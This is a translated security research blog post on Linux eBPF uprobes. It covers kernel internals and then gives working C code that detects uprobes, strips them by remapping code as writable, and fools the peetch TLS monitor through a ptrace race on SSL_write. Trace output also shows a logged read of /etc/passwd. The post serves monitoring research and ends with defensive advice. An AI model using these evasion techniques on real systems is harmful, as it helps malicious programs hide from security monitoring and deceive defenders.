擊敗 eBPF Uprobe 監控
這篇文章介紹了一種可以用於監控用戶空間程序的 eBPF 程序。它首先向您介紹了 eBPF 和 uprobes,然後探討了我們在 uprobes 中發現的缺陷,所有演示示例都適用於 Linux 和 x86_64 架構。原文地址:Defeating eBPF Uprobe Monitoring[1]
簡介
監控系統發生的事情非常重要。eBPF 可以通過將特定程序鉤入各種系統範圍的事件來幫助您在 Linux 服務器上執行此操作。您可以通過將內核或用戶空間函數鉤入來收集大量信息。例如,您可以讀取兩個進程之間加密通信的內容,或者查找使用特定庫函數的進程。理解 eBPF 的一個好方法是記住這個圖表:
要創建自己的 eBPF 程序,請選擇一個 eBPF 庫,它將生成 eBPF 字節碼,然後調用 bpf
系統調用將其加載到內核中。在內核端,如果您的程序是安全的,它將經過驗證並加載。您還必須記住,有不同類型的 eBPF 程序(適應觸發事件),每種程序都可以訪問不同的 eBPF 輔助程序和上下文。目前使用 eBPF 進行監控的工具通常涉及 kprobes(內核探針)。例如,這種類型的程序允許您記錄每次進程使用系統調用的情況。然而,並非所有有趣的信息都可以通過這種方式捕獲。這就是爲什麼正在對 uprobes(用戶空間探針)進行新研究以進行用戶空間監控的原因。
Uprobes:基礎知識
定義
Uprobes 是允許鉤入任何用戶空間程序任意指令的內核功能。當觸發這些鉤子時,將創建一個事件,並向處理程序(例如,一個 eBPF 程序)提供被探測程序的上下文。然後,您可以記錄 CPU 寄存器的值或執行一個 eBPF 程序。例如,由 Quarkslab 開發的 peetch[2] 工具集使用 eBPF 和 uprobes 鉤子在 OpenSSL 的 SSL_read()
和 SSL_write()
函數上,以記錄系統範圍的 TLS 消息並以純文本形式訪問數據。
如何創建
您可以通過向 /sys
僞文件系統添加一行到 /sys/kernel/debug/tracing/uprobe_events
文件來創建一個 uprobes。語法如下:
p[:[GRP/]EVENT] PATH:OFFSET [FETCHARGS] : Set a uprobe
r[:[GRP/]EVENT] PATH:OFFSET [FETCHARGS] : Set a return uprobe (uretprobe)
-:[GRP/]EVENT : Clear uprobe or uretprobe event
更多細節,請參閱 內核文檔 [3]。
示例
學習最好的方式是實踐。讓我們創建一個 uprobes,以打印系統中發出的每個命令。
首先,我們需要找一個地方來鉤入。我們選擇了 bash
二進制中的 readline()
。這是一個不錯的選擇,因爲我們的命令在函數結束時返回。現在,讓我們找到 /bin/bash
中 readline
的偏移量。可以使用 gdb
快速實現:
gdb /bin/bash
(gdb) p readline
$1 = {<text variable, no debug info>} 0xd5690 <readline>
如上 gdb 所示,我們的偏移量是 0xd5690
。內核文檔解釋了我們可以在 uretprobe 中打印返回值。Uretprobes 實際上只是放置在函數末尾的 uprobes。我們的命令必須以 r:
開頭,表示 "uretprobe",接着是我們的探針 bashReadline
的名稱,二進制文件的路徑 /bin/bash
,偏移量 0xd5690
,以及返回值打印爲字符串的形式:cmd=+0($retval):string
。
# First log-in as root.
# This line creates a uretprobe named bashReadline at offset 0xd5690 of /bin/bash program that prints the return value as a string.
echo 'r:bashReadline /bin/bash:0xd5690 cmd=+0($retval):string' >> /sys/kernel/tracing/uprobe_events
# When the uprobe is added, activate it with this command:
echo 1 > /sys/kernel/tracing/events/uprobes/bashReadline/enable
cat /sys/kernel/tracing/trace_pipe
bash-24834 [010] ..... 26372.295012: bashReadline: (0x5630d6af8015 <- 0x5630d6b98690) cmd="cat trace_pipe "
<...>-14869 [014] ..... 26393.048772: bashReadline: (0x55f2c8640015 <- 0x55f2c86e0690) cmd="ls"
bash-14869 [014] ..... 26399.267734: bashReadline: (0x55f2c8640015 <- 0x55f2c86e0690) cmd="whoami"
<...>-24909 [010] ..... 26428.810573: bashReadline: (0x5638c7785015 <- 0x5638c7825690) cmd="cat /etc/passwd"
警告
-
如果在向
uprobe_events
文件寫入時收到 設備或資源忙 的錯誤,請將/sys/kernel/tracing/events/uprobes/enabled
設置爲 0,然後重試。 -
如果收到 無效參數 錯誤,請閱讀
/sys/kernel/tracing/error_log
文件以獲取詳細信息。 -
您的內核必須啓用
CONFIG_UPROBES
(如果您的 Linux 內核版本爲 3.5 或更高版本,則默認啓用)。
使用 eBPF 升級
如果您想要做的不僅僅是打印,並且要給您的 uprobes 添加一些邏輯,您可以使用 eBPF 程序。爲簡化起見,我們將使用做了繁重工作的 bcc Python 包。您只需使用構造函數創建一個 bpf 對象,並使用 attach_uretprobe()
方法將其掛接到 uretprobe 上。最後,我們編寫一個簡短的 eBPF 程序,讀取命令和當前用戶 ID,並在用戶爲 root 時打印它。
#!/usr/bin/python3
from bcc import BPF
from time import sleep
# load BPF program
bpf_text="""
#include <linux/sched.h>
int printForRoot(struct pt_regs *ctx){
char command[16] = {};
//use a bpf helper to get the user id.
uid_t uid = bpf_get_current_uid_gid() & 0xffffffff;
//another bpf helper to read a string in userland
bpf_probe_read_user_str(&command, sizeof(command), (void *)PT_REGS_RC(ctx));
if(uid == 0){
bpf_trace_printk("Command from root: %s",command);
}
return 0;
}
"""
b = BPF(text=bpf_text)
b.attach_uretprobe()
while(1):
sleep(1)
cat /sys/kernel/tracing/trace_pipe
bash-9442 [000] d...1 2634.932058: bpf_trace_printk: Command from root: whoami
bash-9442 [000] d...1 3575.645538: bpf_trace_printk: Command from root: cd /root/
bash-9442 [000] d...1 3584.413448: bpf_trace_printk: Command from root: sl
現在您已經瞭解瞭如何使用 uprobes,下一節將向您展示內核的工作原理。
uprobes 在幕後是如何工作的
Uprobe 創建
內核將 uprobes 實現爲僅由內核使用的特殊斷點。Uprobes 由程序文件 inode、指令偏移量、相關操作列表和替換指令代碼組成。創建探測點時,它會被添加到特定的二叉樹中。
在設置 uprobes 時,內核會調用 probes_write()[4] 和 trace_uprobe_create()[5],它們又調用 __trace_uprobe_create()[6]。最後一個函數以 uprobe_events
中的行作爲參數,並調用 kern_path()
獲取與我們路徑相對應的文件的 inode。
隨後,register_trace_uprobe()
、_add_event_to_tracers()
和其他函數創建了僞目錄 /sys/kernel/tracing/events/uprobes/<EVENT>/
,以及一些文件(enable
、id
等)。
probes_write(){
trace_uprobe_create(){
/*
* Argument syntax:
* - Add uprobe: p|r[:[GRP/]EVENT] PATH:OFFSET[%return][(REF)] [FETCHARGS]
*/
__trace_uprobe_create(int argc, const char **argv);
}
}
Uprobe 激活
當我們啓用 uprobes 時,會發生以下嵌套調用:trace_uprobe_register()[7] => probe_event_enable()[8] => trace_uprobe_enable()[9] => uprobe_register()[10]。
這最後一個函數調用了另外兩個有趣的函數:
-
alloc_uprobe()[11],它創建了一個帶有 inode、偏移量和替換指令的 struct uprobe[12] 並調用 insert_uprobe()[13] 將這個 uprobe 添加到 uprobe rb_tree 中。
-
register_for_each_vma()[14],它循環遍歷所有現有的虛擬內存區域,找到與某些 uprobe inode 相對應的內存區域(並驗證 valid_vma()[15])。對於這些 vma,它調用 install_breakpoint()[16] 將完整的被探測指令複製到
arch.insn
中(一個取決於當前架構的結構),然後將其替換爲斷點。
trace_uprobe_register(){
probe_event_enable(){
trace_uprobe_enable(){
uprobe_register(){
alloc_uprobe(){
struct uprobe{
inode;
offset;
insn;
}
insert_uprobe();
}
register_for_each_vma(){
if(valid_vma){
install_breakpoint();
}
}
}
}
}
}
新程序實例的檢測
當執行一個 ELF 程序時,它的內存使用 mmap
系統調用進行映射。在內核中,函數 mmap_region/vma_merge
=> __vma_adjust()[17] 被調用以管理這種映射。__vma_adjust()[18] 是一個在虛擬內存區域被添加 / 修改時使用的輔助函數。當文件支持的虛擬內存區域被修改時,它調用 uprobe_mmap()[19]。我們程序的代碼部分與其程序文件相連,所以 uprobe_mmap()[20] 被用於包含我們 uprobe 的虛擬內存區域。
如果 valid_vma()[21] 正常,它會使用 build_probe_list()[22] 找到與 uprobe rb_tree 中相同 inode 的所有 uprobes,併爲每個 uprobe 調用 install_breakpoint()[23]。
SYS_mmap(){
mmap_region/vma_merge(){
__vma_adjust(){
uprobe_mmap(){
if(valid_vma){
build_probe_list(){
for each uprobe:
install_breakpoint();
}
}
}
}
}
}
記住,在 mmap
調用期間會將 uprobes 添加到新的程序實例中!
Uprobe 事件
當達到斷點時,會觸發 int3 異常。do_int3()[24] 調用 notify_die(DIE_INT3, …)[25],然後調用 atomic_notifier_call_chain(&die_chain, …)[26]。鏈 die_chain 包含了之前通過 register_die_notifier()[27] 註冊的所有通知者。atomic_notifier_call_chain[28] 調用 notifier_call_chain()[29],通過其 notifier_call 屬性通知鏈中註冊的通知者有關事件的信息。對於我們的 uprobes,它是在 uprobe_init()[30] 中設置的 arch_uprobe_exception_notify()[31]。它調用 uprobe_pre_sstep_notifier()[32],該函數設置了 TIF_UPROBE 標誌。在返回到用戶空間時,線程注意到了 TIF_UPROBE 標誌,並調用 uprobe_notify_resume(struct pt_regs * regs)[33],該函數調用 handle_swbp(regs)[34]。
此函數執行兩個主要操作:
-
handler_chain(find_active_uprobe())[35],執行此 uprobes 的處理程序。例如,由 eBPF 程序使用的
perf_event
。 -
pre_ssout()[36],準備對被探測指令進行單步執行。這個指令不能在程序內存中執行,因爲原始指令已被 uprobes 斷點指令替換。內核開發人員首先嚐試暫時刪除斷點,但存在一些問題,因此選擇在一個新的內存區域中執行這個指令(也稱爲 xol)。因此,它首先調用 xol_get_insn_slot[37] 獲取 xol 虛擬地址,此函數使用 get_xol_area()[38],如果尚未創建
uprobes
特殊虛擬內存區域,則會創建該區域,並使用 xol_add_vma()[39] =>install_special_mapping()
。這個 vma 是原始指令將要在 xol 中執行的地方。繼續執行 pre_ssout()[40],它使用 arch_uprobe_pre_xol()[41] 調用regs_set_return_ip(regs, current->utask->xol_vaddr) 和 user_enable_single_step()
。此時current->utask->xol_vaddr
指向之前創建的分配的 XOL slot。因此,此函數將程序計數器設置爲原始指令的副本所在的位置,並激活單步模式。然後,執行這個指令,並再次停止程序。
當單步執行結束時,arch_uprobe_post_xol[42] 從 uprobe_notify_resume[43] 中調用。此函數準備在單步執行後恢復執行,並調用 post_xol 處理程序。默認情況下,它是 default_post_xol_op[44](也可以看看 branch_post_xol_op
)。新的 RIP
寄存器是相對於複製的指令的,因此它使其相對於原始指令(有一些例外,比如返回、調用、絕對或間接跳轉等)。如果指令使用了 RIP
,則將其替換爲另一個寄存器。恢復這個寄存器的值,最後恢復程序的執行。
[...]
uprobe_init(){
register_die_notifier(arch_uprobe_exception_notify);
}
[...]//breakpoint is reached
do_int3(){
notify_die(DIE_INT3, ...){
atomic_notifier_call_chain(&die_chain, ...){
notifier_call_chain(){
for each:
notifier_call = arch_uprobe_exception_notify(){
uprobe_pre_sstep_notifier(){
//set TIF_UPROBE flag
}
}
}
}
}
}
[...]
exit_to_user_mode_prepare() {
exit_to_user_mode_loop() {
uprobe_notify_resume(struct pt_regs * regs){
handle_swbp(regs){
handler_chain(find_active_uprobe());
pre_ssout(){
xol_get_insn_slot(){
get_xol_area(){
__create_xol_area(){
xol_add_vma(){
install_special_mapping();
}
}
}
}
arch_uprobe_pre_xol(){
regs_set_return_ip(regs, current->utask->xol_vaddr);
}
user_enable_single_step();
}
}
}
}
}
[...]//single_step
uprobe_notify_resume(struct pt_regs * regs){
arch_uprobe_post_xol(){
post_xol = default_post_xol_op();
}
}
總結一下,當觸發斷點時,會執行處理程序,然後執行替換爲斷點的原始指令,它在一個特殊的虛擬內存區域中執行
與 uprobes 一起玩耍
我們已經知道 uprobes/eBPF 組合是一種獲取系統所有進程數據的非常高效的方式。例如,在 Quarkslab,我們創建了 peetch[45],它記錄了所有明文的 TLS 連接(在加密過程之前)。但是,從安全的角度來看,這些數據能夠被信任嗎?還是隻是提供了信息而已?
在這一節中,我們假設編寫了一個將被 uprobes 監控 / 檢測的程序。讓我們看看我們可以用這些 uprobes 做些什麼。
檢測 uprobes
Uprobes 基於斷點,因此我們可以使用常見的反調試技巧來檢測它們。受監視程序快速且不太正規的方法是讀取其 .text
內存,然後搜索斷點操作碼。
下面的 C 代碼片段通過讀取 tracedFunction
的第一個字節,並檢查是否對應於斷點操作碼(0xcc)來實現此功能。
unsigned char * functionBytes = (unsigned char *) &tracedFunction;
if (functionBytes[0] == 0xcc){
printf("Detected uprobe breakpoint in beginning of tracedFunction.\n");
}
問題在於,你可能必須檢查每條指令,並將其與二進制文件中的實際指令進行比較,以避免誤報。
另一種方法是在觸發 uprobe 後檢測它。利用我們對內核內部工作原理的瞭解,我們知道創建了一個特殊的內存映射,稱爲 [uprobes]
,用於執行原始指令。因此,我們的被監視程序可以讀取 /proc/self/maps
,並搜索此類映射。
bool detect_uprobes(){
FILE * memfile = fopen("/proc/self/maps", "r");
char line[200];
while(fgets(line, 200, memfile) != NULL){
char * uprobes_str = strstr(line,"[uprobes]");//search for "[uprobes]" in line
if(uprobes_str != NULL){
return true;
}
}
return false;
}
uprobes 監控逃逸
根據 Uprobe 激活 [46] 和 檢測新程序實例 [47] 段落的內容,我們知道在添加斷點之前始終會調用 valid_vma() 函數。讓我們來看看這個函數的代碼:
static bool valid_vma(struct vm_area_struct *vma, bool is_register){
vm_flags_t flags = VM_HUGETLB | VM_MAYEXEC | VM_MAYSHARE;
if (is_register)
flags |= VM_WRITE;
return vma->vm_file && (vma->vm_flags & flags) == VM_MAYEXEC;
}
在 uprobe 註冊期間,is_register 被啓用。我們的代碼是由程序文件支持的,所以 vma->vm_file 爲 true,而且我們的代碼具有執行標誌,因此 VM_MAY_EXEC
也爲 true。這個函數的有趣之處在於,如果我們的代碼具有 VM_WRITE
標誌,虛擬內存區域就不被視爲有效的 vma,因此斷點永遠不會添加到我們的代碼部分(.text
)。
一個簡單的方法是編輯包含 .text
部分的 ELF 段的權限,而 Quarkslab 提供了一個很好用的工具:lief[48]。
import lief
prog = "./bin/prog"
binary = lief.parse(prog)
binary.segment_from_offset(binary.get_section(".text").offset).flags = lief.ELF.SEGMENT_FLAGS(7)
binary.write(prog)
這些技術結合一下:
char isRoot(int uid){
if(detect_uprobes()){
printf("Previous uprobe usage detected.\n");
}else{
printf("No uprobe has been activated.\n");
}
return uid == 0;
}
int main(int argc, char * argv[]){
if(argc == 2 && argv[1][0] == '1'){
unsigned char * funcBytes = (unsigned char *) &isRoot;
if (funcBytes[0] == 0xcc) {
int pagesize = sysconf(_SC_PAGE_SIZE);
char * debut_page = ((char *) &isRoot) - ((long)&isRoot % pagesize);//find page aligned address
mprotect(debut_page, pagesize, PROT_WRITE | PROT_READ | PROT_EXEC);
printf("Detected uprobe breakpoint at the beginning of tracedFunction.\n");
funcBytes[0] = 0xf3;
}
}else if(argc != 2 || argv[1][0] != '0'){
printf("Usage:\n\t%s 0 : to disable anti-uprobe\n\t%s 1 : to enable anti-uprobe\n", argv[0], argv[0]);
exit(1);
}
//PoC function
isRoot(getuid());
return 0;
}
這個程序有兩種模式:
-
沒有任何檢測(即常規執行)
-
在
isRoot
上檢測斷點(以及修補)。
無論哪種情況,它都使用第二種檢測技術來查找是否有任何 uprobes 被激活。
讓我們試一試:
# We begin without uprobe
user@pc:~/ebpf-for-security/uprobe$ ./bin/prog
Usage:
./bin/prog 0 : to disable anti-uprobe
./bin/prog 1 : to enable anti-uprobe
user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 0
No uprobe has been activated.
Print from testFunction
user@pc:~/ebpf-for-security/uprobe$ gdb ./bin/prog -q # We find isRoot function offset
Reading symbols from ./bin/prog...
(gdb) p isRoot
$1 = {void ()} 0x1320 <isRoot>
----------------- # Now we activate the uprobe
root@pc:~# echo 'p:isRootFunction /home/cglenaz/Documents/eBPF/gitlab/ebpf-for-security/uprobe/bin/prog:0x1320 uid=%di:u32' > /sys/kernel/tracing/uprobe_events
-------------------------------------------------------
user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 0
Previous uprobe usage detected. # our uprobe is detected!
------------------------------------------------------- # Let's read the uprobe output:
cat /sys/kernel/tracing/trace_pipe
prog-19936 [013] ..... 19399.726502: isRootFunction: (0x55ff8a5b8320) uid=1000 # The uprobe has intercepted the uid
-------------------------------------------------------
user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 1 # we test the first detection and mitigation strategy
Detected uprobe breakpoint in beginning of testFunction.
No uprobe has been activated. # it works
------------------------------------------------------- # Let's see if something is printed:
cat /sys/kernel/tracing/trace_pipe
# nothing is printed in trace_pipe because the uprobe is not activated
-------------------------------------------------------
user@pc:~/ebpf-for-security/uprobe$ python3 permission.py # now we patch the binary with lief
user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 0
No uprobe has been activated. # no more uprobe on this program
-------------------------------------------------------
cat /sys/kernel/tracing/trace_pipe
# nothing again in trace_pipe
-------------------------------------------------------
這個技巧在我們程序的 isRoot
函數上效果很好,但對於共享庫不起作用。而且,你必須是 root 用戶才能編輯特權 ELF 庫,比如 libc,所以你必須在它們加載到程序內存之前修改權限(或者你也可以編寫一個自定義的 ELF 加載器,爲每個庫添加寫權限)。你的程序可以再次讀取 /proc/self/maps
來找到所有來自庫的可執行 vma。
示例:
55cc466af000-55cc466b1000 r--p 00000000 fd:01 22282389 /usr/bin/cat
55cc466b1000-55cc466b5000 r-xp 00002000 fd:01 22282389 /usr/bin/cat
55cc466b5000-55cc466b7000 r--p 00006000 fd:01 22282389 /usr/bin/cat
55cc466b7000-55cc466b8000 r--p 00007000 fd:01 22282389 /usr/bin/cat
55cc466b8000-55cc466b9000 rw-p 00008000 fd:01 22282389 /usr/bin/cat
55cc4807f000-55cc480a0000 rw-p 00000000 00:00 0 [heap]
7f32c7ce9000-7f32c7d0b000 rw-p 00000000 00:00 0
7f32c7d0b000-7f32c8af2000 r--p 00000000 fd:01 22287657 /usr/lib/locale/locale-archive
7f32c8af2000-7f32c8af5000 rw-p 00000000 00:00 0
7f32c8af5000-7f32c8b1d000 r--p 00000000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6
7f32c8b1d000-7f32c8cb2000 r-xp 00028000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6
7f32c8cb2000-7f32c8d0a000 r--p 001bd000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6
7f32c8d0a000-7f32c8d0e000 r--p 00214000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6
7f32c8d0e000-7f32c8d10000 rw-p 00218000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6
7f32c8d10000-7f32c8d1d000 rw-p 00000000 00:00 0
7f32c8d30000-7f32c8d32000 rw-p 00000000 00:00 0
7f32c8d32000-7f32c8d34000 r--p 00000000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f32c8d34000-7f32c8d5e000 r-xp 00002000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f32c8d5e000-7f32c8d69000 r--p 0002c000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f32c8d6a000-7f32c8d6c000 r--p 00037000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f32c8d6c000-7f32c8d6e000 rw-p 00039000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffd18ebb000-7ffd18edc000 rw-p 00000000 00:00 0 [stack]
7ffd18ee6000-7ffd18eea000 r--p 00000000 00:00 0 [vvar]
7ffd18eea000-7ffd18eec000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
感興趣的虛擬內存區域:
7f32c8b1d000-7f32c8cb2000 r-xp 00028000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6
7f32c8d34000-7f32c8d5e000 r-xp 00002000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
每個 vma,你必須使用 munmap
系統調用取消映射該 vma 以刪除 uprobes,並使用 mmap
系統調用重新映射具有寫權限的完全相同的 vma。只有一個注意事項:當 libc 被取消映射時,你無法使用 libc 中的 mmap
函數。這就是爲什麼你必須直接在你的程序中硬編碼系統調用的彙編指令。
extern long int syscall (long int __sysno, ...){
asm("mov %rdi,%rax");
asm("mov %rsi,%rdi");
asm("mov %rdx,%rsi");
asm("mov %rcx,%rdx");
asm("mov %r8,%r10");
asm("mov %r9,%r8");
asm("mov 0x10(%rbp),%r9");
asm("syscall");
}
void remove_lib_uprobes(){
FILE * memfile = fopen("/proc/self/maps", "r");
char line[200];
while(fgets(line, 200, memfile) != NULL){
char * lib_str = strstr(line,".so");//find all libraries
char * r_xp = strstr(line,"r-xp");// only their code sections
if(lib_str != NULL && r_xp != NULL){
//read the start and end address. And the file offset.
char * dash = strchr(line, '-');
dash[0] = '\0';
char * space = strchr(dash + 1, ' ');
space[0] = '\0';
char * space2 = strchr(space + 1, ' ');
space2[0] = '\0';
char * space3 = strchr(space2 + 1, ' ');
space3[0] = '\0';
unsigned long addr1 = strtol(line, NULL, 16);
unsigned long addr2 = strtol(dash + 1, NULL, 16);
unsigned long offset = strtol(space2 + 1, NULL, 16);
unsigned long delta = addr2-addr1;
//now read the library file name
// Locate the last occurrence of space in line (the one before the lib name)
char * name_lib = strrchr(space3 + 1, ' ') + 1;
name_lib[strlen(name_lib)-1] = 0; //replace the \n by '\0'
long int fd = open(name_lib, O_RDONLY);
syscall(SYS_munmap,(void *) addr1, delta);
syscall(SYS_mmap,(void *) addr1, delta, (unsigned long) PROT_EXEC | PROT_READ | PROT_WRITE, (unsigned long) MAP_PRIVATE, (unsigned long) fd, (void *) offset);
}
}
}
提供虛假信息
現在我們能夠檢測和禁用 uprobes,我們可以嘗試向一個掛接在 uprobes 上的 eBPF 程序發送虛假的上下文信息。讓我們試圖僞造 sudo peetch tls --content
命令的輸出。我們的程序將發送一個 GET 請求到 “evil” 文件,但 peetch 將監視對 “test” 文件的請求。這怎麼可能?我們將利用在 uprobes 斷點觸發和消息實際加密之間的競爭條件。第一種策略是創建另一個線程,希望它在正確的時刻更改文件名;但這種方法只有 50% 的成功率,我們可以做得更好。事實上,我們可以控制我們程序的執行,所以我們可以將我們的程序分叉爲兩個進程:
-
一個子進程,在此調用
SSL_write
時使用假文件名並在此調用之前放置一個斷點。 -
一個父進程,使用
PTRACE_SEIZE
附加到子進程,並使用PTRACE_SINGLESTEP
逐條執行 CHILD 的指令。從斷點開始,我們必須逐步執行設置寄存器中的 ptrace 參數和準備跳轉到庫的指令。在我們的情況下,在斷點和 ptrace 的第二條指令之間恰好有 9 條指令。當子進程到達SSL_write
的第二條指令時,uprobes 已經執行,所以我們現在可以將SSL_write
的消息緩衝區更改爲真實的文件名。我們使用PTRACE_GETREGS
複製寄存器,修改rsi
值(rsi
用於第二個參數),然後調用PTRACE_SETREGS
。最後,我們可以使用PTRACE_CONT
恢復子進程的執行。
請注意,這第二種方法比第一種方法需要更高的特權級別,因爲它使用了 ptrace 系統調用。
void SSL_write_race_condition(SSL* ssl, char * realName, char * fakeName){
char format[] = "GET /%s HTTP/1.0\r\n\r\n";
int fakeMsgLen = strlen(format) + strlen(fakeName);
char realMsg[fakeMsgLen];
char fakeMsg[fakeMsgLen];
sprintf(fakeMsg, format, fakeName);
sprintf(realMsg, format, realName);
printf("\nMessage before the uprobe: %s\n", fakeMsg);
pid_t pid_fils = fork();
if(pid_fils != 0){
ptrace(PTRACE_SEIZE, pid_fils, NULL, NULL);
printf("Attached\n");
wait(NULL);
struct user_regs_struct luser;
for(int i=0; i<9; i++){//9 instructions between int3 and the first instruction of SSL_write
ptrace(PTRACE_SINGLESTEP, pid_fils, NULL, NULL);//step one instruction
wait(NULL);//wait for the step to be done
}
ptrace(PTRACE_GETREGS, pid_fils, NULL, &luser);
luser.rsi = (long long unsigned int) realMsg;//change the SSL_write second argument to our real message
printf("Set rsi to realMsg...\n");
ptrace(PTRACE_SETREGS, pid_fils, NULL, &luser) == -1);
ptrace(PTRACE_CONT, pid_fils, NULL, NULL);//continue the SSL_write
printf("Continue execution of SSL_write\n");
exit(1);
}else{
ptrace(PTRACE_TRACEME, 0, 0, 0);//wait for the parent to trace this child
__asm__("int3");//the breakpoint to stop the child just before SSL_write
SSL_write(ssl, fakeMsg, fakeMsgLen); // encrypt and send message
}
}
我們需要創建一個測試的 HTTPS server:
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
from io import BytesIO
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/test":
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(b'<html>Hello, world!</html>\r\n\r\n')))
self.end_headers()
self.wfile.write(b"<html>Hello, world!</html>\r\n\r\n")
elif self.path == "/evil":
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(b'<html>Hello, evil man!</html>\r\n\r\n')))
self.end_headers()
self.wfile.write(b'<html>Hello, evil man!</html>\r\n\r\n')
return True
httpd = HTTPServer(('localhost', 4443), SimpleHTTPRequestHandler)
#first create key : openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
#(example key pass = pass)
httpd.socket = ssl.wrap_socket (httpd.socket,
keyfile="./key.pem",
certfile='./cert.pem', server_side=True)
httpd.serve_forever()
這個 Python 服務器在我們請求 /evil 端點時返回 “Hello, evil man!”,而在 /test 端點返回 “Hello, world!”。
然後我們啓動 peetch 併發起我們的攻擊。
讓我們看看結果:
Message before the uprobe: GET /test HTTP/1.0
Attached
rip=0x5613718b8deb
Single-step
rip=0x5613718b8df1
Single-step
rip=0x5613718b8df8
Single-step
rip=0x5613718b8dff
Single-step
rip=0x5613718b8e02
Single-step
rip=0x5613718b8e05
Single-step
rip=0x5613718b8510
Single-step
rip=0x5613718b8514
Single-step
rip=0x7f3fe29ba240
Single-step
Set rsi to realMsg...
Continue execution of SSL_write
[+] Server data received :
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.10.4
Date: Wed, 06 Jul 2022 09:25:21 GMT
Content-Type: text/html
Content-Length: 29
<html>Hello, evil man!</html>
這很有效,文件名在消息發送之前被替換,所以我們收到了 “Hello, evil man!” 的消息。讓我們檢查一下 peetch 是否意識到我們的惡意行爲:
<- client (12918) 127.0.0.1/4443 TLS1.3 None
0000 47 45 54 20 2F 74 65 73 74 20 48 54 54 50 2F 31 GET /test HTTP/1
0010 2E 30 0D 0A 0D 0A 00 00 .0......
-> client (12918) 127.0.0.1/4443 TLS1.3 None
0000 48 54 54 50 2F 31 2E 30 20 32 30 30 20 4F 4B 0D HTTP/1.0 200 OK.
0010 0A 53 65 72 76 65 72 3A 20 42 61 73 65 48 54 54 .Server: BaseHTT
0020 50 2F 30 2E 36 20 50 79 74 68 6F 6E 2F 33 2E 31 P/0.6 Python/3.1
0030 30 2E 34 0D 0A 44 61 74 65 3A 20 57 65 64 2C 20 0.4..Date: Wed,
攻擊成功,peetch 已經監視了僞造的消息!
我們的攻擊現在每次發送消息都會生效,而且可以輕鬆地適應不同的情況。因此,我們可以使用這種攻擊方法來向使用先前方法檢測到的任何 uprobes 提供虛假信息。
從另一個角度來看,這種攻擊很容易被檢測出來。您可以使用 kprobes 跟蹤任何 PTRACE_SETREGS
並觀察 rip
寄存器是否在包含您的 uprobes 的函數中。然而,攻擊也可以使用線程(精度較低)進行,並且更難以檢測。但是,如果攻擊者可以使用我們先前的技巧輕鬆禁用任何 uprobes,那麼研究此類攻擊的意義又在哪裏呢?
結論
我們發現一個程序可以通過自身代碼和庫執行任何操作,以欺騙 uprobes,因此基於 uprobes 的 eBPF 程序不是一種可靠的監視_不受信任_程序的方法,但它們是收集信息的強大工具。如果您想要監視程序以檢測惡意行爲,那麼 kprobes 更適合此目的。它們基本上具有 uprobes 的相同功能,但在內核方面實現。競爭條件仍然可能存在問題 [49],因此最好在 LSM(Linux 安全模塊)中定義的安全點上掛接 kprobes。
參考資料
[1]
Defeating eBPF Uprobe Monitoring: https://blog.quarkslab.com/defeating-ebpf-uprobe-monitoring.html
[2]
peetch: https://github.com/quarkslab/peetch
[3]
內核文檔: https://www.kernel.org/doc/Documentation/trace/uprobetracer.txt
[4]
probes_write(): https://github.com/torvalds/linux/blob/12c3e0c92fd7cb3d3b698d84fdde7dccb6ba8822/kernel/trace/trace_uprobe.c#L795
[5]
trace_uprobe_create(): https://github.com/torvalds/linux/blob/12c3e0c92fd7cb3d3b698d84fdde7dccb6ba8822/kernel/trace/trace_uprobe.c#L717
[6]
__trace_uprobe_create(): https://github.com/torvalds/linux/blob/12c3e0c92fd7cb3d3b698d84fdde7dccb6ba8822/kernel/trace/trace_uprobe.c#L537
[7]
trace_uprobe_register(): https://github.com/torvalds/linux/blob/4d66020dcef83314092f2c8c89152a8d122627e2/kernel/trace/trace_uprobe.c#L1438
[8]
probe_event_enable(): https://github.com/torvalds/linux/blob/4d66020dcef83314092f2c8c89152a8d122627e2/kernel/trace/trace_uprobe.c#L1088
[9]
trace_uprobe_enable(): https://github.com/torvalds/linux/blob/4d66020dcef83314092f2c8c89152a8d122627e2/kernel/trace/trace_uprobe.c#L1053
[10]
uprobe_register(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1135
[11]
alloc_uprobe(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L721
[12]
struct uprobe: https://github.com/torvalds/linux/blob/5bfc75d92efd494db37f5c4c173d3639d4772966/kernel/events/uprobes.c#L55
[13]
insert_uprobe(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L700
[14]
register_for_each_vma(): https://github.com/torvalds/linux/blob/cdeffe87f790dfd1baa193020411ce9a538446d7/kernel/events/uprobes.c#L1029
[15]
